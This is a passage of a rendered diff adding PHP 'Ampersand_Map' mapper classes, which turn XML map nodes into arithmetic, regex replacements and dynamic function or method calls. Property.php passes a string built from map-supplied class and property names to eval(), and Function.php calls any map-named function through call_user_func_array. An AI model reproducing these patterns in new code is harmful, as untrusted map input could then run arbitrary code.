2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_FlagType extends Ampersand_Map_Mapper_LeafAbstract
|
17 |
+
{
|
18 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
return Ampersand_Integration_Flag::getTypeByDescription($map->getValue());
|
21 |
+
}
|
22 |
+
}
|
lib/Ampersand/Map/Mapper/Fraction.php
ADDED
@@ -0,0 +1,50 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_Fraction extends Ampersand_Map_Mapper_Abstract
|
17 |
+
{
|
18 |
+
protected function _map(Ampersand_Map_XmlElement $map, $object)
|
19 |
+
{
|
20 |
+
$numerator = $this->_getNumerator($map);
|
21 |
+
$denominator = $this->_getDenominator($map);
|
22 |
+
|
23 |
+
return $numerator / $denominator;
|
24 |
+
}
|
25 |
+
|
26 |
+
protected function _getNumerator(Ampersand_Map_XmlElement $map)
|
27 |
+
{
|
28 |
+
return (double) $map->getChild('_numerator')->getValue();
|
29 |
+
}
|
30 |
+
|
31 |
+
protected function _getDenominator(Ampersand_Map_XmlElement $map)
|
32 |
+
{
|
33 |
+
return (double) $map->getChild('_denominator')->getValue();
|
34 |
+
}
|
35 |
+
|
36 |
+
protected function _validateMap(Ampersand_Map_XmlElement $map)
|
37 |
+
{
|
38 |
+
if (!$map->hasChild('_numerator')) {
|
39 |
+
throw new Ampersand_Map_Exception('Numerator node is missing');
|
40 |
+
}
|
41 |
+
if (!$map->hasChild('_denominator')) {
|
42 |
+
throw new Ampersand_Map_Exception('Denominator node is missing');
|
43 |
+
}
|
44 |
+
if (!$this->_getDenominator($map)) {
|
45 |
+
throw new Ampersand_Map_Exception('Denominator value is invalid');
|
46 |
+
}
|
47 |
+
|
48 |
+
return $this;
|
49 |
+
}
|
50 |
+
}
|
lib/Ampersand/Map/Mapper/Function.php
ADDED
@@ -0,0 +1,88 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_Function extends Ampersand_Map_Mapper_Abstract
|
17 |
+
{
|
18 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
$function = $this->_getFunctionName($map);
|
21 |
+
$params = $this->_getParams($map);
|
22 |
+
|
23 |
+
return $this->_callFunction($function, $params);
|
24 |
+
}
|
25 |
+
|
26 |
+
protected function _validateMap(Ampersand_Map_XmlElement $map)
|
27 |
+
{
|
28 |
+
if (!$map->hasChild('_function')) {
|
29 |
+
throw new Ampersand_Map_Exception('Function node is missing');
|
30 |
+
}
|
31 |
+
|
32 |
+
return $this;
|
33 |
+
}
|
34 |
+
|
35 |
+
protected function _getFunctionName(Ampersand_Map_XmlElement $map)
|
36 |
+
{
|
37 |
+
return $map->getChild('_function')->getValue();
|
38 |
+
}
|
39 |
+
|
40 |
+
protected function _getParams(Ampersand_Map_XmlElement $map)
|
41 |
+
{
|
42 |
+
if ($map->hasChild('_params') && $map->getChild('_params')->hasChildren()) {
|
43 |
+
$params = $map->getChild('_params')->asArray();
|
44 |
+
} else {
|
45 |
+
$params = array();
|
46 |
+
|
47 |
+
if ($map->hasChild('_param')) {
|
48 |
+
$params[] = $map->getChild('_param')->asArray();
|
49 |
+
}
|
50 |
+
}
|
51 |
+
|
52 |
+
return $params;
|
53 |
+
}
|
54 |
+
|
55 |
+
protected function _callFunction($function, array $params = array())
|
56 |
+
{
|
57 |
+
$this->_validateCallback($function);
|
58 |
+
|
59 |
+
switch ($function) {
|
60 |
+
case 'end':
|
61 |
+
$output = end(reset($params));
|
62 |
+
break;
|
63 |
+
case 'reset':
|
64 |
+
$output = reset(reset($params));
|
65 |
+
break;
|
66 |
+
case 'key':
|
67 |
+
$output = key(reset($params));
|
68 |
+
break;
|
69 |
+
case 'array_pop':
|
70 |
+
$output = array_pop(reset($params));
|
71 |
+
break;
|
72 |
+
default:
|
73 |
+
$output = call_user_func_array($function, $params);
|
74 |
+
break;
|
75 |
+
}
|
76 |
+
|
77 |
+
return $output;
|
78 |
+
}
|
79 |
+
|
80 |
+
protected function _validateCallback($callback)
|
81 |
+
{
|
82 |
+
if (!is_callable($callback)) {
|
83 |
+
throw new Ampersand_Map_Exception('Callback is not valid');
|
84 |
+
}
|
85 |
+
|
86 |
+
return $this;
|
87 |
+
}
|
88 |
+
}
|
lib/Ampersand/Map/Mapper/Interface.php
ADDED
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
interface Ampersand_Map_Mapper_Interface
|
17 |
+
{
|
18 |
+
/**
|
19 |
+
* @param Ampersand_Map $map
|
20 |
+
* @param mixed $input
|
21 |
+
* @return mixed
|
22 |
+
*/
|
23 |
+
public function map(Ampersand_Map_XmlElement $map, $input);
|
24 |
+
}
|
lib/Ampersand/Map/Mapper/Iteration.php
ADDED
@@ -0,0 +1,41 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_Iteration extends Ampersand_Map_Mapper_LeafAbstract
|
17 |
+
{
|
18 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
$iterator = Ampersand_Map_Iterator::getCurrentIterator();
|
21 |
+
|
22 |
+
$value = $map->getValue();
|
23 |
+
switch ($value) {
|
24 |
+
case 'zero-based':
|
25 |
+
$output = $iterator->getCurrentIndex();
|
26 |
+
break;
|
27 |
+
case 'one-based':
|
28 |
+
$output = 1 + $iterator->getCurrentIndex();
|
29 |
+
break;
|
30 |
+
case 'key':
|
31 |
+
case '':
|
32 |
+
case null:
|
33 |
+
$output = $iterator->getCurrentKey();
|
34 |
+
break;
|
35 |
+
default:
|
36 |
+
throw new Ampersand_Map_Exception("Invalid iteration value '$value'");
|
37 |
+
}
|
38 |
+
|
39 |
+
return $output;
|
40 |
+
}
|
41 |
+
}
|
lib/Ampersand/Map/Mapper/LeafAbstract.php
ADDED
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
abstract class Ampersand_Map_Mapper_LeafAbstract extends Ampersand_Map_Mapper_Abstract
|
17 |
+
{
|
18 |
+
protected function _validateMap(Ampersand_Map_XmlElement $map)
|
19 |
+
{
|
20 |
+
if ($map->hasChildren()) {
|
21 |
+
throw new Ampersand_Map_Exception('Mapper expects a leaf node');
|
22 |
+
}
|
23 |
+
|
24 |
+
return $this;
|
25 |
+
}
|
26 |
+
}
|
lib/Ampersand/Map/Mapper/Method.php
ADDED
@@ -0,0 +1,82 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_Method extends Ampersand_Map_Mapper_Function
|
17 |
+
{
|
18 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
$subject = $this->_getSubject($map, $input);
|
21 |
+
$method = $this->_getMethodName($map);
|
22 |
+
$params = $this->_getParams($map);
|
23 |
+
|
24 |
+
return $this->_callMethod($subject, $method, $params);
|
25 |
+
}
|
26 |
+
|
27 |
+
protected function _validate(Ampersand_Map_XmlElement $map, $input)
|
28 |
+
{
|
29 |
+
if (!$map->hasChild('_method')) {
|
30 |
+
throw new Ampersand_Map_Exception('Method node is missing');
|
31 |
+
}
|
32 |
+
if (!is_object($input) && !$map->hasChild('_object') && !$map->hasChild('_class')) {
|
33 |
+
throw new Ampersand_Map_Exception(
|
34 |
+
'Either input must be an object or a class name or object must be provided in the map'
|
35 |
+
);
|
36 |
+
}
|
37 |
+
if ($map->hasChild('_object') && !is_object($map->getChild('_object')->getValue())
|
38 |
+
&& !@class_exists($map->getChild('_object'))) {
|
39 |
+
throw new Ampersand_Map_Exception(
|
40 |
+
'Object node must contain a valid class name or a reference to an object'
|
41 |
+
);
|
42 |
+
}
|
43 |
+
if ($map->hasChild('_class') && (!is_string($map->getChild('_class')->getValue())
|
44 |
+
|| !@class_exists($map->getChild('_class')))) {
|
45 |
+
throw new Ampersand_Map_Exception('Class node must contain a valid class name');
|
46 |
+
}
|
47 |
+
|
48 |
+
return $this;
|
49 |
+
}
|
50 |
+
|
51 |
+
protected function _getSubject(Ampersand_Map_XmlElement $map, $input)
|
52 |
+
{
|
53 |
+
if ($map->hasChild('_object')) {
|
54 |
+
$object = $map->getChild('_object')->getValue();
|
55 |
+
if (is_string($object)) {
|
56 |
+
$object = new $object();
|
57 |
+
}
|
58 |
+
|
59 |
+
return $object;
|
60 |
+
}
|
61 |
+
|
62 |
+
if ($map->hasChild('_class')) {
|
63 |
+
return $map->getChild('_class')->getValue();
|
64 |
+
}
|
65 |
+
|
66 |
+
return $input;
|
67 |
+
}
|
68 |
+
|
69 |
+
protected function _callMethod($subject, $method, array $params = array())
|
70 |
+
{
|
71 |
+
$callback = array($subject, $method);
|
72 |
+
|
73 |
+
$this->_validateCallback($callback);
|
74 |
+
|
75 |
+
return call_user_func_array($callback, $params);
|
76 |
+
}
|
77 |
+
|
78 |
+
protected function _getMethodName(Ampersand_Map_XmlElement $map)
|
79 |
+
{
|
80 |
+
return $map->getChild('_method')->getValue();
|
81 |
+
}
|
82 |
+
}
|
lib/Ampersand/Map/Mapper/Multiply.php
ADDED
@@ -0,0 +1,28 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_Multiply extends Ampersand_Map_Mapper_Abstract
|
17 |
+
{
|
18 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
$product = 1;
|
21 |
+
|
22 |
+
foreach ($map->getChildren() as $_child) {
|
23 |
+
$product *= (double) $_child->getValue();
|
24 |
+
}
|
25 |
+
|
26 |
+
return $product;
|
27 |
+
}
|
28 |
+
}
|
lib/Ampersand/Map/Mapper/Negative.php
ADDED
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_Negative extends Ampersand_Map_Mapper_LeafAbstract
|
17 |
+
{
|
18 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
$double = (double) $map->getValue();
|
21 |
+
|
22 |
+
return -1 * $double;
|
23 |
+
}
|
24 |
+
}
|
lib/Ampersand/Map/Mapper/Parameter.php
ADDED
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_Parameter extends Ampersand_Map_Mapper_Property
|
17 |
+
{
|
18 |
+
protected function _getPropertyNodeName()
|
19 |
+
{
|
20 |
+
return '_param';
|
21 |
+
}
|
22 |
+
|
23 |
+
protected function _getPropertyNodeMissingMessage()
|
24 |
+
{
|
25 |
+
return 'Param node is missing';
|
26 |
+
}
|
27 |
+
}
|
lib/Ampersand/Map/Mapper/Property.php
ADDED
@@ -0,0 +1,91 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_Property extends Ampersand_Map_Mapper_Abstract
|
17 |
+
{
|
18 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
$subject = $this->_getSubject($map, $input);
|
21 |
+
$propertyName = $this->_getPropertyName($map);
|
22 |
+
|
23 |
+
if (is_string($subject)) {
|
24 |
+
eval('$output = ' . $subject . '::$' . $propertyName . ';');
|
25 |
+
return $output;
|
26 |
+
}
|
27 |
+
|
28 |
+
return $subject->$propertyName;
|
29 |
+
}
|
30 |
+
|
31 |
+
protected function _validate(Ampersand_Map_XmlElement $map, $input)
|
32 |
+
{
|
33 |
+
if ($map->hasChildren() && !$map->hasChild($this->_getPropertyNodeName())) {
|
34 |
+
throw new Ampersand_Map_Exception($this->_getPropertyNodeMissingMessage());
|
35 |
+
}
|
36 |
+
if (!is_object($input) && !$map->hasChild('_object') && !$map->hasChild('_class')) {
|
37 |
+
throw new Ampersand_Map_Exception(
|
38 |
+
'Either input must be an object or a class name or object must be provided in the map'
|
39 |
+
);
|
40 |
+
}
|
41 |
+
if ($map->hasChild('_object') && !is_object($map->getChild('_object')->getValue())
|
42 |
+
&& !@class_exists($map->getChild('_object'))) {
|
43 |
+
throw new Ampersand_Map_Exception(
|
44 |
+
'Object node must contain a valid class name or a reference to an object'
|
45 |
+
);
|
46 |
+
}
|
47 |
+
if ($map->hasChild('_class') && (!is_string($map->getChild('_class')->getValue())
|
48 |
+
|| !@class_exists($map->getChild('_class')))) {
|
49 |
+
throw new Ampersand_Map_Exception('Class node must contain a valid class name');
|
50 |
+
}
|
51 |
+
|
52 |
+
return $this;
|
53 |
+
}
|
54 |
+
|
55 |
+
protected function _getSubject(Ampersand_Map_XmlElement $map, $input)
|
56 |
+
{
|
57 |
+
if ($map->hasChild('_object')) {
|
58 |
+
$object = $map->getChild('_object')->getValue();
|
59 |
+
if (is_string($object)) {
|
60 |
+
$object = new $object();
|
61 |
+
}
|
62 |
+
|
63 |
+
return $object;
|
64 |
+
}
|
65 |
+
|
66 |
+
if ($map->hasChild('_class')) {
|
67 |
+
return $map->getChild('_class')->getValue();
|
68 |
+
}
|
69 |
+
|
70 |
+
return $input;
|
71 |
+
}
|
72 |
+
|
73 |
+
protected function _getPropertyName(Ampersand_Map_XmlElement $map)
|
74 |
+
{
|
75 |
+
if ($map->hasChildren()) {
|
76 |
+
return $map->getChild($this->_getPropertyNodeName())->getValue();
|
77 |
+
}
|
78 |
+
|
79 |
+
return $map->getValue();
|
80 |
+
}
|
81 |
+
|
82 |
+
protected function _getPropertyNodeName()
|
83 |
+
{
|
84 |
+
return '_property';
|
85 |
+
}
|
86 |
+
|
87 |
+
protected function _getPropertyNodeMissingMessage()
|
88 |
+
{
|
89 |
+
return 'Property node is missing';
|
90 |
+
}
|
91 |
+
}
|
lib/Ampersand/Map/Mapper/Provider.php
ADDED
@@ -0,0 +1,40 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_Provider extends Ampersand_ClassProvider
|
17 |
+
{
|
18 |
+
protected $_classes = array(
|
19 |
+
'accessor' => 'Ampersand_Map_Mapper_Accessor',
|
20 |
+
'all_data' => 'Ampersand_Map_Mapper_AllData',
|
21 |
+
'array' => 'Ampersand_Map_Mapper_Array',
|
22 |
+
'concat' => 'Ampersand_Map_Mapper_Concatenate',
|
23 |
+
'concatenate' => 'Ampersand_Map_Mapper_Concatenate',
|
24 |
+
'field_path' => 'Ampersand_Map_Mapper_FieldPath',
|
25 |
+
'flag_type' => 'Ampersand_Map_Mapper_FlagType',
|
26 |
+
'fraction' => 'Ampersand_Map_Mapper_Fraction',
|
27 |
+
'function' => 'Ampersand_Map_Mapper_Function',
|
28 |
+
'iteration' => 'Ampersand_Map_Mapper_Iteration',
|
29 |
+
'method' => 'Ampersand_Map_Mapper_Method',
|
30 |
+
'multiply' => 'Ampersand_Map_Mapper_Multiply',
|
31 |
+
'negative' => 'Ampersand_Map_Mapper_Negative',
|
32 |
+
'property' => 'Ampersand_Map_Mapper_Property',
|
33 |
+
'parameter' => 'Ampersand_Map_Mapper_Property',
|
34 |
+
'regexp' => 'Ampersand_Map_Mapper_Regexp',
|
35 |
+
'sum' => 'Ampersand_Map_Mapper_Sum',
|
36 |
+
'xpath' => 'Ampersand_Map_Mapper_Xpath',
|
37 |
+
'xpath_single' => 'Ampersand_Map_Mapper_XpathSingle',
|
38 |
+
'truncate' => 'Ampersand_Map_Mapper_Truncate',
|
39 |
+
);
|
40 |
+
}
|
lib/Ampersand/Map/Mapper/Regexp.php
ADDED
@@ -0,0 +1,67 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_Regexp extends Ampersand_Map_Mapper_Abstract
|
17 |
+
{
|
18 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
return preg_replace(
|
21 |
+
$this->_getPattern($map),
|
22 |
+
$this->_getReplacement($map),
|
23 |
+
$this->_getSubject($map)
|
24 |
+
);
|
25 |
+
}
|
26 |
+
|
27 |
+
protected function _validateMap(Ampersand_Map_XmlElement $map)
|
28 |
+
{
|
29 |
+
if (!$map->hasChild('_subject')) {
|
30 |
+
throw new Ampersand_Map_Exception('Subject node is missing');
|
31 |
+
}
|
32 |
+
if (!is_string($map->getChild('_subject')->getValue())) {
|
33 |
+
throw new Ampersand_Map_Exception('Subject node value must be a string');
|
34 |
+
}
|
35 |
+
|
36 |
+
if (!$map->hasChild('_pattern')) {
|
37 |
+
throw new Ampersand_Map_Exception('Pattern node is missing');
|
38 |
+
}
|
39 |
+
if (!is_string($map->getChild('_pattern')->getValue())) {
|
40 |
+
throw new Ampersand_Map_Exception('Pattern node value must be a string');
|
41 |
+
}
|
42 |
+
|
43 |
+
if (!$map->hasChild('_replace')) {
|
44 |
+
throw new Ampersand_Map_Exception('Replace node is missing');
|
45 |
+
}
|
46 |
+
if (!is_string($map->getChild('_replace')->getValue())) {
|
47 |
+
throw new Ampersand_Map_Exception('Replace node value must be a string');
|
48 |
+
}
|
49 |
+
|
50 |
+
return $this;
|
51 |
+
}
|
52 |
+
|
53 |
+
protected function _getSubject(Ampersand_Map_XmlElement $map)
|
54 |
+
{
|
55 |
+
return $map->getChild('_subject')->getValue();
|
56 |
+
}
|
57 |
+
|
58 |
+
protected function _getPattern(Ampersand_Map_XmlElement $map)
|
59 |
+
{
|
60 |
+
return $map->getChild('_pattern')->getValue();
|
61 |
+
}
|
62 |
+
|
63 |
+
protected function _getReplacement(Ampersand_Map_XmlElement $map)
|
64 |
+
{
|
65 |
+
return $map->getChild('_replace')->getValue();
|
66 |
+
}
|
67 |
+
}
|
lib/Ampersand/Map/Mapper/Sum.php
ADDED
@@ -0,0 +1,28 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
